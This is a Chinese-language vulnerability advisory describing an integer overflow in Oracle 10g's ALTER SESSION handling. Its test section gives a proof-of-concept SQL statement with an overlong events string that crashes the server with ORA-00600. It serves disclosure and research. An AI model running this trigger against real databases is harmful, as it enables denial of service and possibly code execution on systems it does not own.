Oracle 10g更改会话整数溢出漏洞
发布日期:2006-07-27
更新日期:2006-08-01
受影响系统:Oracle Oracle10g
描述:
BUGTRAQ ID:
19201
Oracle是一款大型的商业数据库系统。
Oracle在处理更改会话操作时存在整数溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。
仅拥有SELECT权限的用户可以通过提交超长的alter session请求来触发这个漏洞,导致在数据库中执行任意命令。
<*来源:putosoft softputo (
hasecorp@hotmail.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=115411333825833&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
以仅有CREATE SESSION权限用户的身份连接到数据库。
SQL> alter session set events '10046 trace name context forever, level 16';
Session altered.
SQL> alter session set events
'10046100461004610046100461004610046100461004610046100461004610046100461
004610046100461004610046100461004610046100461004610046100461004610046100
461004610046100461004610046100461004610046100461004610046100461004610046
100461004610046100461004610046100461004610046100461004610046100461004610
046100461004610046100461004610046100461004610046100461004610046100461004
610046100461004610046100461004610046100461004610046100461004610046100461
004610046100461004610046100461004610046100461004610046100461004610046100
461004610046100461004610046100461004610046100461004610046100461004610046
100461004610046100461004610046100461004610046100461004610046100461004610
046100461004610046100461004610046100461004610046100461004610046100461004
610046100461004610046100461004610046100461004610046100461004610046100461
004610046100461004610046100461004610046100461004610046100461004610046100
461004610046100461004610046100461004
610046100461004610046100461004610046100461004610046100461004610046100461
00461004610046trace
name context forever, level 16';
ERROR:
ORA-00600: internal error code, arguments: [300], [985], [], [], [], [], [],
[]
建议:
厂商补丁:
Oracle
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.oracle.com浏览次数:3160
严重程度:0(网友投票)